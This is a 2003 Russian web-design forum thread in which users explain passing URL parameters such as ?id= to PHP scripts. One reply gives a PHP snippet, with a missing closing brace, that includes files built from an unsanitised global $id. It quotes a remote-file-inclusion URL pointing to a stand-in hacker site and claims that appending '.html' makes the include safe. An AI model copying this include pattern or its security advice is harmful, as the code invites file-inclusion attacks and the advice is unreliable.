Вернуться   Дизайнерский форум » ВЕБ-ПРОГРАММИРОВАНИЕ » HTML, CSS, JavaScript

Как сделать index.php?q=q

Обсуждение темы Как сделать index.php?q=q в разделе HTML, CSS, JavaScript, часть категории ВЕБ-ПРОГРАММИРОВАНИЕ; Ну как. берешь и делаешь! В ссылке так и пишешь: a href='some.php?var=da' (пример) А в скрипте переменная var будет доступна как глобальная. p.s. ...


Закрытая тема
 
Опции темы
Старый 03.07.2003, 19:08   #1
Ну как. берешь и делаешь! В ссылке так и пишешь:
a href='some.php?var=da' (пример)
А в скрипте переменная var будет доступна как глобальная.

p.s. только если расширение будет html то сам понимаешь нет смысла передавать в него переменную, т.к. это не скрипт, а если ты туда и забъешь скрипт, то он не будет работать.
 
Старый 03.07.2003, 19:08
Ссылки
Старый 03.07.2003, 19:29   #2
Вообще-то у Сильвера есть статья,
но прочитав её - тож не хрена не понял! Куда этот код вообще ставить!
 
Старый 04.07.2003, 12:06   #3
Spy

oizo, если у вас собственный веб-сервер или у вас есть доступ к файлу конфигурации веб-сервера Apache, то ищите файл httpd.conf и его и редактируйте.
Код:
  AddType application/x-httpd-php .php .phtml .html
  AddType application/x-httpd-php-source .phps
Таким образом php код будет исполняться и в .html файлах. Открываем index.html и в самом вверху пишем:
PHP код:
<?php
if (isset($id)){
include(
"data/".$id.".html");
}else{
include(
"main.html"); ?>
Далее заходим в index.html (закачав на сервер файл, потому что при локальном подключении работать будет только при настроенном веб-сервере на локалке). Он будет загружать main.html. Если мы укажем адрес index.html?id=files то он будет загружать файл files.html из папки data. Почему лучше сразу указывать расширение у файла?
Да потому что злобные хакеры могут прописать некое:
index.html?id=http://www.хакер.ru/php.php
а там уже будет исполняться другой код, позволяющий залесть на сервер -).

Что же делать если нет доступа к файлу конфигурации вебс-сервера (httpd.conf)?
Просто. Переименовать index.html в index.php и вызывать страницы уже так:
index.php?id=files

Spy добавил [date]1057306048[/date]:
кстати сообщение надо перенести в PHP. Модераторы спят .
 
Старый 05.07.2003, 12:43   #4
oizo, вроде все понятно объяснили, что конкретно непонятного???
 
Старый 05.07.2003, 16:43   #5
oizo, на счет статьи - вроде бы проверяли люди... Кто-нибудь может еще раз проверить?
 
Старый 06.07.2003, 06:54   #6
1. Может быть только для H1 действует...
2. Цены на хостинг: http://web-silver.ru/hosting.php - у меня тарифный план "Normal".
 
Старый 07.07.2003, 18:47   #7
oizo, не в обиду, но если ты задаешь такие вопросы, то лучше почитай сначала книжку по PHP и сам во все врубишься.
 
Старый 09.07.2003, 18:23   #8
sanchez911, что ты имел ввиду?
 
Старый 09.07.2003, 19:35   #9
Я просто так понял что он не знает, что через вопрос передаются глобальные переменные и что это вообще такое, вот и посоветовал книжку почитать...
 
Старый 09.07.2003, 19:35
Закрытая тема


Опции темы


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
z-index не работает Scroll ASP, Perl, PHP и MySQL 3 28.02.2013 16:03
index и контент yudjine HTML, CSS, JavaScript 4 01.03.2012 22:35
z-index < 0 Nielson HTML, CSS, JavaScript 4 17.11.2009 00:50
z-index IgorQ HTML, CSS, JavaScript 1 22.03.2007 09:42
z-index, документация kr12 HTML, CSS, JavaScript 2 06.02.2005 09:48


Текущее время: 21:32. Часовой пояс GMT +4.

Реклама на форуме Условия размещения рекламы
Биржа ссылок Заработай на сайте!
Дизайнерский форум